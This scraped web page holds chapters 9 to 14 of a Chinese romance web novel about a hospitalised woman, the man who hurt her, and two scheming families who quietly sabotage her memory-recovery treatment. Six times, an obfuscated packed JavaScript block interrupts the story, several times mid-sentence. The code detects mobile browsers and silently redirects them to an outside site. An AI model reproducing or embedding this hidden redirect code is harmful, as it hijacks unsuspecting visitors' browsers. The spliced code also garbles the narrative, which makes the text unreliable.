死亡那一刻，她感受到的不是恐惧，而是疲惫到头后的虚无和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418934|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静。 然后，她活了下来。 带着一片空白的记忆，和一身伤痕活了下来。 而他，又出现了。 带着和五年前如出一辙的、许许多多的借口，和那看似无可指摘的“关心”和“愧疚”，再一次，不容拒绝地介入她重创后的生命。 如果那场车祸是身体的濒死体验。 那么何宇薛的出现，他那些暧昧不清的沉默，他未婚妻带着钻戒的宣示，他刚刚在走廊上那些熟悉的、无奈的借口……就是另一场缓慢的、精神上的凌迟。 她甚至开始怀疑，那场车祸真的只是一场意外吗？ 还是她潜意识里，那个卑微的、痛苦的、看不到出路的自己，最终选择的了一种极端而绝望的逃离？ 而如今，她连逃离的权利都被剥夺了。 检查结束，护工推她回病房。 再次经过那个转角时，窗边已经空无一人。 他走了。 大概是去处理他那些“必须得去”、“不是借口”的重要事情了吧。 回到病房，护工将她扶上床。 许念晞靠在枕头上，目光落在窗外。天色渐晚，夕阳给天空涂抹上一层惨淡的橘红色。 她静静地看了很久。 然后，她从枕头底下，拿出了那本笔记本和笔。 翻到新的一页。 她握着笔，手指稳定，没有一丝颤抖。 她写下： 「今天做了检查。」 「经过走廊时，听见他在打电话。」 写到这里，她停顿了一下。 眼前闪过他慌乱回头的表情，耳边似乎又响起他那套无懈可击的“苦衷”。 她眼底最后一点微光寂灭下去，只剩下一片荒芜的冰冷。 她继续写道，笔尖几乎要划破纸页： 「离死亡最近的那一次，我发现死亡并不可怕。」 「可怕的是活过来之后，发现一切都没有改变。」 「他，还是一样。」 「有许多的借口。」 合上笔记本。 她将它重新塞回枕头底下，仿佛埋葬了什么。 窗外，最后一抹余晖也被夜幕吞噬。 世界彻底暗了下来。 10. 第 10 章 夜，深得像一潭墨汁，浓稠得化不开。 病房里的灯早已熄灭，只有走廊透进来的微弱光线，在地板上拉出一道苍白狭窄的长条。一切声响都沉了下去，仪器的滴答声，远处值班室的低语，甚至窗外偶尔掠过的车声，都变得遥远而不真切。 许念晞睁着眼，望着天花板上模糊的光影轮廓。 她没有睡。也无法入睡。 身体是疲惫的，大脑却异常清醒，像被冰水浸过，冷冽而刺痛。白天听到的那些话，何宇薛那熟悉又陌生的、带着焦灼和借口的声音，一遍遍在她脑海里回放，每一个字都像淬了毒的针，反复扎刺着那些刚刚结痂的伤口。 「不是借口！」「我必须得看着…」「她情况不稳定…」 呵。 她几乎要笑出声来，喉咙里却只泛起一股铁锈般的腥甜味。 黑暗放大了所有的感官，也放大了那蚀骨钻心的绝望。白天强装的麻木和冰冷，在无人可见的夜里，土崩瓦解，露出底下鲜血淋漓的内里。 五年。 她人生中最美好、最该绚烂的五年，全都耗在了一个永远追逐不到的幻影上。她所有的欢喜，所有的忐忑，所有卑微的期望和巨大的失落，全都系于一人之手。 而他，轻而易举地握着，从未真正珍惜，甚至可能…觉得是负担吧？ 所以才会在她终于鼓足勇气时，身边恰好有了别人。所以才会在她删除他后，不闻不问，直到她差点死掉。所以才会在她最脆弱时，施舍一点似是而非的关怀，却又让他的正牌未婚妻来划清界限。 她想起苏晚晴那张精致却刻薄的脸，想起那枚璀璨的钻戒，想起何宇薛在她面前偶尔流露出的痛苦和挣扎。 真恶心。 恶心他，更恶心那个直到此刻还在因为他而心痛如绞的自己。 为什么就是忘不掉？为什么就是狠不下心？为什么他只要出现，只要流露出一点点脆弱，她就可耻地想要原谅？ 是不是因为她这五年的喜欢，太过廉价，所以才被他如此轻贱？ 一股剧烈的反胃感猛地冲上喉咙。 许念晞猛地翻身坐起，扑到床沿，对着垃圾桶干呕起来。 什么都吐不出来。胃里空得发疼，只有酸涩的胆汁灼烧着食道，带来一阵阵生理性的泪意。她咳得浑身颤抖，单薄的肩膀剧烈地耸动着，像一片风中残叶。 冷汗瞬间浸透了她的病号服，粘腻地贴在背上。 就在这时，病房的门被极其轻微地推开了。 一个身影悄无声息地闪了进来，带着一身夜间的凉意。 是何宇薛。 他大概以为她睡着了，脚步放得极轻，走到床边，想如同之前许多个夜晚一样，只是安静地看一会儿就走。 然后，他看到了蜷缩在床沿、痛苦干呕的她。 “念晞！”他低呼一声，立刻上前，下意识地就想伸手去扶她，想去拍她的背。 在他的指尖即将触碰到她颤抖的脊背时—— 许念晞猛地抬起头！ 黑暗中，她的眼睛亮得骇人，里面燃烧着一种近乎疯狂的厌恶和绝望，还有一种被彻底侵犯领地的凶狠。泪水模糊了她的视线，但那份恨意却清晰得令人心惊。 “别碰我！” 她的声音嘶哑得厉害，像破碎的玻璃刮过地面，带着一种极致的抗拒和冰冷。 何宇薛的手猛地僵在半空，像是被她的眼神烫伤了。他脸色在昏暗的光线下煞白一片，嘴唇翕动着，却发不出任何声音。 许念晞剧烈地喘息着，胃部的痉挛还在持续，但比那更痛的，是心口那片被彻底碾碎的废墟。她看着眼前这个男人，这个她爱了五年、几乎毁了她一切的男人，所有的痛苦、委屈、不甘和恨意，在这一刻终于冲破了所有伪装的堤坝。 “滚出去。”她盯着他，每一个字都像是从牙缝里挤出来，带着血沫和恨意，“何宇薛，我让你滚出去！听到没有！” “念晞…我…”何宇薛的心脏像是被一只无形的手死死攥住，痛得他几乎无法呼吸。她眼中的恨意如此赤裸，如此彻底，让他无所遁形。 “你听不懂吗？”许念晞猛地抓起床头柜上那个冰凉的水杯，用尽全身力气砸向他脚边的地面！ “砰——！”的一声脆响！ 玻璃碎片和冷水四溅开来，在寂静的夜里如同惊雷炸响！ 何宇薛被惊得后退了一步，怔怔地看着地上的一片狼藉，看着那个如同受伤困兽般蜷缩着、却对他亮出所有利爪和尖牙的许念晞。 “滚啊！”她嘶喊着，声音因为极度激动而变调，破碎不堪，“收起你那套令人作呕的关心和愧疚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418935|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！我不需要！我看到你就觉得恶心！” “五年前是这样！五年后还是这样！你除了会找借口，除了会让我痛苦，你还会什么？！” “我删除你就是为了永远不要再见到你！你为什么还要出现？！为什么我差点死了都摆脱不了你？！” “是不是只有我彻底死了，你才会满意？！才会放过我？！” 她吼出了所有积压在心底最深处的质问和绝望，身体因为激动而摇摇欲坠，眼前一阵阵发黑，几乎要晕厥过去。 何宇薛站在原地，像是被这些话钉在了原地，脸上血色尽失，瞳孔里是一片巨大的、无法承受的痛楚和荒芜。她每一个字，都像一把刀，将他凌迟。 走廊上传来护士急促的脚步声。 “怎么了？发生什么事了？”护士推门进来，看到满地碎片和情绪崩溃的许念晞，以及僵立在一旁、失魂落魄的何宇薛，顿时明白了什么。 “何先生！请你先出去！”护士语气严厉，立刻上前安抚许念晞，“许小姐，冷静点，没事了，没事了……” 何宇薛看着被护士护住、仍在剧烈颤抖、用那种极致仇恨的目光瞪着他的许念晞，他最终，什么也没能说出口。 他踉跄着后退，一步步退出病房，退出那片让他窒息的空间。 护士关上了门，隔绝了他的视线。 他背靠着冰冷的墙壁，缓缓滑坐下去，将脸深深埋进掌心。 病房内，许念晞在护士的安抚下，渐渐停止了颤抖。所有的力气仿佛都在刚才那场歇斯底里的爆发中耗尽了。 她瘫软在护士怀里，眼神空洞地望着天花板，眼泪无声地汹涌而出，浸湿了护士的衣襟。 却再也没有发出一点声音。 彻底的绝望，是无声的。 门外。 何宇薛维持着那个姿势，一动不动。 走廊的灯光将他的影子拉得很长，很孤独。 许久，许久。 一滴滚烫的液体，终于毫无预兆地，从他指缝间砸落。 重重地，落在冰冷的地面上。 摔得粉碎。 原来哭是这样的感觉。 是心脏被生生挖走一块后，灌满了蚀骨寒风的感觉。 是迟来的、无用的、再也无法被原谅的……忏悔的感觉。 11. 第 11 章 许父许母的到来，如同为许念晞筑起了一道隔绝风雨的港湾。尽管她依旧沉默寡言，但在父母无微不至的呵护下，那惨白的脸上总算透出了一丝极微弱的生气。 这短暂而脆弱的宁静，在午后被不速之客打破。 何父何母再次出现在病房门口，手里依旧提着价值不菲的礼品，脸上挂着精心修饰过的歉意与不安。 许母一见到他们，脸上的温柔瞬间冻结，取而代之的是毫不掩饰的憎恶。她甚至没有起身，只是冷冷地扫了他们一眼，那目光像在看什么不洁之物。 “出去。”许母的声音不高，却带着冰碴般的寒意，“这里不欢迎你们。” 何母脸上的笑容僵住了，习惯性地想摆出那套优雅得体的姿态：“嫂子，我们知道你心里有气，我们就是来……” “谁是你嫂子？”许母厉声打断，每一个字都淬着毒，“别用你那张碰过别人丈夫的嘴来叫我，我嫌恶心！” 这话如同一个响亮的耳光，狠狠扇在何母脸上。她保养得宜的脸瞬间血色尽失，涂着精致口红的嘴唇哆嗦着，那副惯常的柔弱可怜相几乎挂不住。 何父的脸色也变得极其难看，试图维持体面：“许夫人，请你注意言辞！过去的事……” “过去的事？”一直沉默坐在床边、握着女儿手的许父猛地抬起头，他目光如鹰隼般锐利，直直射向何父，“何建明，那些‘过去的事’，是你靠着发妻娘家起势，转头就和你这位‘贤内助’——当年的贴身秘书搞在一起，逼得原配抑郁而终的事吗？” 他声音不大，却字字千钧，砸得何父何母踉跄后退，仿佛被剥光了所有遮羞布。 许父的目光冰冷地扫过何母，带着极致的鄙夷：“还是指你们何家靠着这种下作手段站稳脚跟后，又迫不及待地想给你儿子复制这条路，让他也去攀附苏家小姐，好让你们那靠着女人上位的家业再‘锦上添花’？” 他每一个字都像一把尖刀，精准地剖开何家光鲜亮丽的外表，露出底下不堪入目的内核。 “你…你血口喷人！”何母尖声反驳，却底气不足，声音发颤。 “我是不是血口喷人，你们自己心里最清楚！”许父猛地站起身，他身形高大，此刻怒意勃发，带着一股不容置疑的威严，“我们许家虽然不是什么大富大贵之家，但行的端坐得正！最看不上的就是你们这种道德败坏、骨子里都透着肮脏的人家！” 他指向病床上静静睁着眼睛、仿佛在消化这一切的许念晞，声音因心痛而颤抖：“我女儿单纯，傻，被你们儿子那张皮囊和虚情假意骗了五年！但现在她躺在这里，差点连命都没了！这笔账，我们还没跟你们算！” 许母也站了起来，走到丈夫身边，看着何家父母，眼神里的厌恶几乎要化为实质：“滚出去！带着你们那些沾着脏钱的东西滚！别脏了我女儿的地方！” 她指着他们带来的礼品，如同指着什么垃圾。 “我们两家，早就该彻底断绝往来！”许父斩钉截铁，下了最终判决，“从今往后，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418936|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们何家的人，包括何宇薛，不许再靠近我女儿一步！否则，别怪我不顾最后的情面！” 何父何母被这连番的怒斥和揭露打得体无完肤，脸上青白交错，羞愤难当，却又无法反驳一句。他们那套惯用的虚伪和狡辩，在许家父母绝对的厌恶和清晰的真相面前，苍白得可笑。 何母最终承受不住那鄙夷的目光，捂着脸，几乎是小跑着冲出了病房。 何父脸色铁青，嘴唇哆嗦了半天，最终也只是狠狠瞪了一眼，狼狈地转身离开。 病房门被重重关上。 隔绝了那令人作呕的气息。 许父许母像是打了一场仗，疲惫却坚定地回到女儿床边。 许念晞静静地看着父母，看着他们为自己愤怒、为自己撑起一片天的样子。她缓缓伸出手，轻轻握住了父母的手。 她的手指冰凉。 原来，那个看似耀眼的何宇薛，那个让她卑微喜欢了五年的人，是扎根在这样一片腐烂的土壤里。 他的犹豫，他的借口，他身边那个理所当然的未婚妻……一切都有了解释。 那不是无奈，是传承。 是刻在骨子里的自私和凉薄。 她闭上眼，将父母温暖的手握得更紧。 这一次，心口那片荒芜的废墟里，连最后一点残存的、因他而起的波澜，也彻底平息了。 只剩下无尽的厌弃。 对何宇薛，对何家，对那五年瞎了眼的自己。 彻底的，厌弃。 12. 第 12 章 何家父母狼狈逃离医院后，车内死一般的寂静。 何母脸上的泪痕花了精致的妆容，露出底下因羞愤而扭曲的表情。她死死攥着名牌手包的链条，指甲几乎要掐进皮肉里。 “他们许家…他们怎么敢！”她终于爆发出来，声音尖利刺耳，“不过是开了几家破画廊，真当自己是什么清贵门第了？！竟敢这样羞辱我们！” 何父何建明脸色阴沉地开着车，下颌绷紧，一言不发。许父那些话像鞭子一样抽在他脸上，将他这些年刻意遗忘的、不光彩的发家史和婚姻史血淋淋地揭开。但他更多的是一种恼怒，恼怒许家的不识抬举，恼怒事情闹到如此难堪的地步。 “还有宇薛！”何母将矛头转向儿子，尽管何宇薛并不在场，“都是他惹出来的祸事！要不是他处理不好和那个许念晞的关系，我们怎么会受这种奇耻大辱！” “够了！”何建明低吼一声，打断她的抱怨，“现在说这些有什么用！” 车内再次陷入令人窒息的沉默。 回到家，冰冷压抑的气氛并未消散。何宇薛正坐在客厅的沙发上，听到开门声，他抬起头，脸上带着一丝残留的苍白和显而易见的疲惫。 何母一看到他，新仇旧恨涌上心头，将手包狠狠摔在沙发上：“你还有脸坐在这里？！看看你干的好事！我们何家的脸都被你丢尽了！” 何宇薛嘴唇动了动，没说话，只是又将头低了下去。 “那个许念晞，”何母刻薄地继续道，“一副要死不断气的样子，装给谁看？她父母更是给脸不要脸！真以为他们家女儿是什么天仙……” “妈！”何宇薛猛地抬起头，声音沙哑却带着一丝压抑的怒意，“别说了！” 何母被他罕见的顶撞噎了一下，随即更加愤怒：“你为了那个女的吼我？何宇薛，你搞清楚！谁才是你妈！谁才是为你着想的人！苏家那边要是知道了这些破事，你怎么交代？！你和晚晴的婚事还要不要了？！” “婚事…”何宇薛喃喃道，脸上露出一抹苦涩至极的笑。 就在这时，何建明的手机响了。他看了一眼来电显示，脸色微变，对何母使了个眼色，走到书房去接电话。 几分钟后，他脸色更加难看地走出来。 “是苏董。”他沉声道，目光扫过何宇薛，“他听到了一些风言风语，很不高兴。晚晴在家里闹脾气。” 何母顿时慌了神：“那…那怎么办？苏家可不能得罪啊！我们那个新能源项目还指望……” “还能怎么办？”何建明打断她，语气带着不容置疑的强硬，“立刻、马上，把和晚晴的婚事定下来！越快越好！用订婚宴的消息，把那些乱七八糟的流言压下去！” 他看向何宇薛，命令道：“你，现在就去苏家，给晚晴道歉，把订婚的细节敲定。态度要好，无论如何，必须稳住苏家！” 何宇薛猛地站起身，脸上血色尽失：“爸！现在不行！念晞她……” “许念晞许念晞！你脑子里只有那个女人吗？！”何建明勃然大怒，“何宇薛，我告诉你，何家要是倒了，你什么都不是！你还想谈感情？做梦！苏晚晴，你必须娶！这件事没有任何商量余地！” 何母也急忙帮腔：“是啊宇薛，那个许念晞有什么好？她家那种态度，根本就是恨上你了！你难道还要拿整个何家去贴他们的冷脸吗？晚晴才是门当户对，对你有助力的！” 何宇薛看着眼前利益至上、冷酷无情的父母，只觉得一股寒气从脚底直窜头顶。他仿佛第一次如此清晰地看清这个家的本质——一个华丽精致却冰冷无情的牢笼，一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418937|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都可以明码标价，包括他的婚姻和感情。 “如果…”他声音干涩，几乎听不见自己说什么，“如果我不同意呢？” 何建明眼神瞬间变得锐利而冰冷，他走近几步，盯着自己的儿子，一字一句道：“那你就不再是何家的人。你名下所有的卡、车、股份，我会全部冻结收回。你自己想想，离开何家，你算什么？你还能给那个躺在医院里的许念晞什么？负担吗？” 赤裸裸的威胁，精准地击中了何宇薛的软肋。 他踉跄着后退一步，靠在冰冷的墙壁上，心脏像是被一只无形的手紧紧攥住，痛得无法呼吸。 是啊，他算什么？ 离开了何家光环的他，一无是处。连保护自己想保护的人都做不到。 反抗？离婚？ 不可能的。 从他出生在这个家庭，享受了这个家庭带来的优渥和特权开始，他就注定要被绑在这辆战车上，沿着父母规划好的、利益最大化的轨道前行，没有挣脱的可能。 爱情？自我？ 在家族利益面前，渺小得可笑，是可以随时被牺牲掉的筹码。 他缓缓闭上眼，睫毛剧烈地颤抖着。 眼前闪过许念晞那双枯寂冰冷的眼睛，闪过她嘶喊着让他“滚”时那绝望厌恶的眼神。 又闪过苏晚晴骄纵任性的脸，闪过父母冷酷算计的眉眼。 巨大的无力感和绝望如同潮水般将他吞没。 他输了。 从一开始，就注定了会输得一败涂地。 许久，他极其缓慢地睁开眼，眼底最后一点光亮也寂灭了，只剩下一片死灰般的麻木。 他听到自己的声音，平静得可怕，没有一丝波澜： “好。” “我去苏家。” 13. 第 13 章 何宇薛麻木地驱车前往苏家。车窗外的城市华灯初上，流光溢彩，却丝毫照不进他死寂的内心。他像一个被抽走灵魂的木偶，执行着既定的指令。 苏家的别墅灯火通明，却透着一股冰冷的奢华。苏晚晴显然早已得到消息，抱着手臂坐在客厅昂贵的沙发上，下巴微扬，脸上带着毫不掩饰的怒气和不屑。苏父苏母则坐在一旁，面色沉静，眼神里却透着精明的算计。 “你还知道来？”苏晚晴冷哼一声，抢先发难，“怎么，医院那个快断气的终于肯放你走了？” 何宇薛胃里一阵翻搅，手指猛地攥紧，指甲深深掐进掌心，用疼痛强迫自己维持表面的平静。他避开苏晚晴的目光，看向苏父苏母：“伯父，伯母，抱歉，我来晚了。” 苏母优雅地端起茶杯，轻轻吹了口气，语气不疾不徐，却带着无形的压力：“宇薛啊，不是伯母说你。年轻人，感情用事可以理解，但要懂得分寸。我们苏家和何家是世交，生意上盘根错节，一荣俱荣，一损俱损。有些不该有的麻烦，得及时处理干净。” 她的话意有所指，绵里藏针。 苏父放下手中的财经杂志，目光锐利地看向何宇薛：“晚晴受了委屈，我们做父母的，心里不痛快。何家那边，你父亲已经表过态了。现在，我们要看你的态度。你和晚晴的婚事，还作不作数？” 何宇薛喉咙发紧，每一个字都说得异常艰难：“作数。之前…是我处理不当。我会…尽快和晚晴定下订婚宴的细节。” 苏晚晴脸上这才露出一丝得意的神色，却又故意刁难：“光是嘴上说说有什么用？谁知道你会不会又偷偷跑去医院对着那个病秧子献殷勤？” 何宇薛闭了闭眼，再睁开时，眼底一片荒芜：“不会了。” 苏父似乎对他的态度还算满意，点了点头，语气缓和了些，却抛出一个更残酷的决定：“光你保证还不够。要绝了后患，就得让有些人，彻底安分。” 何宇薛心头猛地一跳，一种不祥的预感攫住他：“伯父的意思是…？” 苏父和苏母交换了一个心照不宣的眼神。苏母接过话头，声音依旧温柔，内容却冰冷刺骨：“许家那个女儿，听说伤得很重，记忆也出了问题，是不是？”她顿了顿，像是谈论天气一样平常，“这样也好。忘了干净，对大家都好。我看，她就一直这样‘静养’下去，最好。不要再有什么‘意外’恢复的可能了。你说呢，宇薛？” 何宇薛浑身血液仿佛瞬间冻结了！ 他们…他们是要彻底剥夺念晞恢复的可能？！他们要让她永远困在那片空白和破碎里？！ “不…”他下意识地脱口而出，声音发颤，“这不行…医生说她还有恢复的…” “宇薛。”苏父打断他，声音沉了下去，带着不容置疑的警告，“你要搞清楚，现在不是在跟你商量。这是在告诉你苏家和何家共同的决定。许家不识抬举，那就该付出代价。而你，既然选择了站在我们这边，站在晚晴这边，就该知道怎么做才是对何家、对你自己最有利。” 苏晚晴在一旁添油加醋：“就是！难道你还想着她恢复记忆再来缠着你吗？何宇薛，你别做梦了！她好了只会更恨你！现在这样，忘了你，忘了所有事，对她来说才是最好的结局！” 最好的结局？ 何宇薛如遭雷击，僵在原地。 他们轻描淡写地，就决定了一个人一生的轨迹。他们要联手将许念晞永远禁锢在那片混沌的黑暗里，只为了扫清他们利益联姻道路上一个微不足道的障碍。 而他，竟然是执行这个决定的帮凶之一？ 巨大的罪恶感和恐惧瞬间将他淹没。他仿佛看到许念晞永远茫然空洞的眼神，看到她被困在无声的病房里，日渐枯萎… “医院的院长，和你父亲是老朋友了。”苏母轻轻放下茶杯，发出清脆的磕碰声，像是在为这场谈话定下最后的音符，“后续的治疗方案，会‘优化’的。你需要做的，就是配合，并且，从此以后，彻底消失在许家人面前。这是对所有人的‘仁慈’。” 仁慈… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418938|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何宇薛看着眼前这三张看似体面、实则冷酷到极致的脸，只觉得一股寒气从脊椎骨窜上来，冻僵了他的四肢百骸。 他明白了。 从始至终，他都没有选择。 他不仅是家族的傀儡，如今，更成了这场卑劣合谋的参与者。 他张了张嘴，还想做最后徒劳的挣扎，却发不出任何声音。所有的反抗，在绝对的利益和冰冷的现实面前，都显得可笑而无力。 最终，他听到自己麻木到极致的声音，在一片死寂的客厅里响起： “……好。” …… 医院里，许念晞的主治医生被叫到了院长办公室。 许久，医生面色凝重地走出来，手里拿着一份被修改过的治疗方案。他走到许念晞的病房外，透过玻璃窗，看着里面那个安静靠在床头、眼神空洞望着窗外的女孩。 许父许母正细心地给她喂水。 医生眼中闪过一丝不忍和挣扎，但最终，还是化为了无奈的叹息。 他推门进去，脸上挤出职业化的温和笑容：“许先生，许太太，关于念晞后续的康复治疗，我们专家组重新讨论了一个更稳妥的方案……” 方案里，一些有助于刺激记忆恢复的药物和康复训练被悄无声息地替换或降低了优先级。取而代之的，是更多维持现状、稳定情绪的保守治疗。 许父许母不懂医学，听着医生专业而耐心的解释，只是连连点头，感激着医院的“尽心尽力”。 没有人察觉到，一张无形的大网已经落下，正在缓缓收紧，企图将病床上的女孩，永远困在遗忘的牢笼里。 许念晞似乎感应到了什么，缓缓转过头，看向医生，又看向窗外。 窗外，夜色浓重，没有星光。 她的眼睛依旧清澈，却像蒙上了一层永远也擦不掉的灰霾。 彻底恢复的那一点微弱的希望之光，在这一刻，被一只无形而冷酷的手，轻轻掐灭了。 仿佛，从未存在过。 14. 第 14 章 苏家的气压并未因何宇薛的“臣服”而变得轻松。尤其是在苏晚晴的姐姐——苏黎回国后，某种微妙的平衡似乎被打破了。 与苏晚晴那种外露的、带着娇纵的锋芒不同，苏黎的美是冷冽而富有攻击性的。她继承了苏家最优秀的基因，身材高挑，五官明艳大气，常年的海外留学和介入家族生意的经历，赋予了她一种超越年龄的沉稳和锐利。她看人时，眼神仿佛能穿透层层伪装，直抵本质。 她回国的接风宴办得极为隆重，几乎邀请了本市所有有头有脸的人物，其意义远不止于家庭团聚，更是一次苏家实力与野心的展示。何宇薛作为“准女婿”，自然必须出席。 宴会上，苏晚晴紧紧挽着何宇薛的手臂，笑容甜蜜，像是在展示一件昂贵的战利品。何宇薛配合地扮演着完美未婚夫的角色，嘴角挂着得体的微笑，眼神却空洞地落在觥筹交错之外。 苏黎端着香槟，穿过人群，径直向他们走来。她先是对苏晚晴笑了笑，语气亲昵却带着一丝不易察觉的审视：“晚晴，眼光不错。”然后，她的目光便落在了何宇薛身上，伸出手，“苏黎。常听家父家母和晚晴提起你，何宇薛。” 何宇薛与她握手，触感微凉而有力。他迎上她的目光，那眼神深处没有苏晚晴的嫉妒或苏父母的算计，而是一种纯粹的、近乎冷酷的探究，让他下意识地想要回避。 “苏黎姐，欢迎回国。”他维持着表面的礼节。 苏黎微微颔首，抿了一口香槟，看似随意地问道：“听说前段时间，为了一些无足轻重的小事，闹得有些不愉快？”她的声音不高，却清晰地传入何宇薛耳中，“年轻人重感情是好事，但更重要的是要清楚自己的位置和该做的事。及时止损，才是聪明人的选择。” 她的话，听起来与苏父母那套说辞相似，却又截然不同。苏父母是用利益和亲情施压，而苏黎，她像是在陈述一个冰冷的事实，不带情绪，却更具分量，仿佛在提醒他，他所经历的一切挣扎痛苦，在更大的棋盘上，不过是“无足轻重的小事”。 何宇薛感到一种无形的压迫感，他勉强笑了笑：“已经处理好了。” “那就好。”苏黎勾了勾唇角，那笑容并未到达眼底，“何苏两家未来合作的空间还很大，希望你不会让晚晴，还有我们家失望。” 她的话点到即止，随即自然地转向苏晚晴，聊起了国外的见闻，仿佛刚才那段短暂的对话只是随口一提。 然而，何宇薛却无法轻松。苏黎的存在，像一面冰冷清晰的镜子，照出了他处境的更加不堪——他不仅是被操控的傀儡，甚至他的痛苦和挣扎，在这些人眼中，也只是需要被“处理”掉的、影响效率和利益的麻烦。 宴会进行到一半，何宇薛借故走到露台透气。晚风吹散了些许酒意，却吹不散心头的滞重。 身后传来高跟鞋清脆的声音。他回头，苏黎不知何时也走了出来，倚在门边，点燃了一支细长的香烟，烟雾缭绕中，她的面容显得有些模糊。 “不适应这种场合？”她问，语气平淡。 何宇薛没有回答。 苏黎吐出一口烟圈，看着它缓缓消散在夜色中，忽然说：“晚晴被宠坏了，有时候会耍小性子，但你既然选择了她，选择了苏家，就该明白这意味着什么。” 她转过头，目光如炬：“何宇薛，在我们这样的家庭里，感情是最奢侈也最无用的东西。它能让你脆弱，成为你的弱点，甚至死穴。想要站稳，就得学会冷酷，无论是对于人，还是…对于过去。” 她的话像一把冰冷的刻刀，精准地剥开他试图掩饰的伤口。 “苏黎姐是以胜利者的身份来教导我吗？”何宇薛的声音带着一丝自己都未察觉的讥诮。 苏黎轻笑一声，带着几分嘲弄：“胜利者？不。我只是个现实主义者。告诉你这个游戏的规则而已。你看起来还不算太蠢，应该懂得如何让自己好过一点。”她掐灭烟蒂，“比如，彻底接受现实。” 她说完，没有再看他，转身优雅地走回了宴会厅，留给他一个冷漠而强大的背影。 何宇薛独自站在露台上，夜风更冷了。 苏黎的出现，没有带来新的风暴，却让原本就冰冷的囚笼，变得更加坚硬和真实。她不需要像苏晚晴那样大吵大闹，也不需要像苏父母那样施压警告，她只是用那种洞悉一切的眼神和冰冷的“现实道理”，就轻易地碾碎了他心底最后一丝残存的、不切实际的幻想。 他回头望向厅内，光影交错，言笑晏晏。苏黎正与一位商界大佬谈笑风生，举止从容，游刃有余。 那是一个他永远无法真正融入，却又被死死捆绑的世界。 而医院里那个被所有人试图抹去的存在，在那个世界里，轻渺得不如苏黎指尖落下的一缕烟灰。 绝望，从未如此刻般具体而清晰。 医院消毒水的味道似乎已经渗入了许念晞的骨髓。 她依旧安静，像一尊被时光遗忘的瓷娃娃，靠在床头，目光没有焦点地落在窗外。但不知为何，最近几日，一种极其细微的、本能的焦躁，像水底暗流般在她空茫的内心深处涌动。 她说不清那是什么。不是物理上的疼痛，也不是明确的悲伤。只是一种…莫名的窒息感。尤其在那个名叫何宇薛的男人来过之后，这种窒息感会格外明显。 那个男人。 他看她的眼神很复杂，充满了她无法理解、也不愿去理解的痛苦和挣扎，仿佛他才是那个受了天大委屈的人。真是…可笑。 偶尔，会有一些破碎的、无法连接的画面像闪电一样劈入她的脑海————一个模糊的、带着温柔笑意的背影。——冰冷的雨滴，和一种心被撕裂的剧痛感。——还有…一种让人作呕的、被欺骗和背叛的冰冷触感。 这些碎片来得快，去得也快，抓不住，摸不着，只留下阵阵心悸和更深的迷茫。她下意识地抗拒着这些碎片，因为它们带来的感觉糟糕透顶。 今天，那个男人又来了。 他依旧穿着昂贵笔挺的大衣，面容俊美却憔悴，手里拎着一看就价值不菲的果篮和补品。他站在病房门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 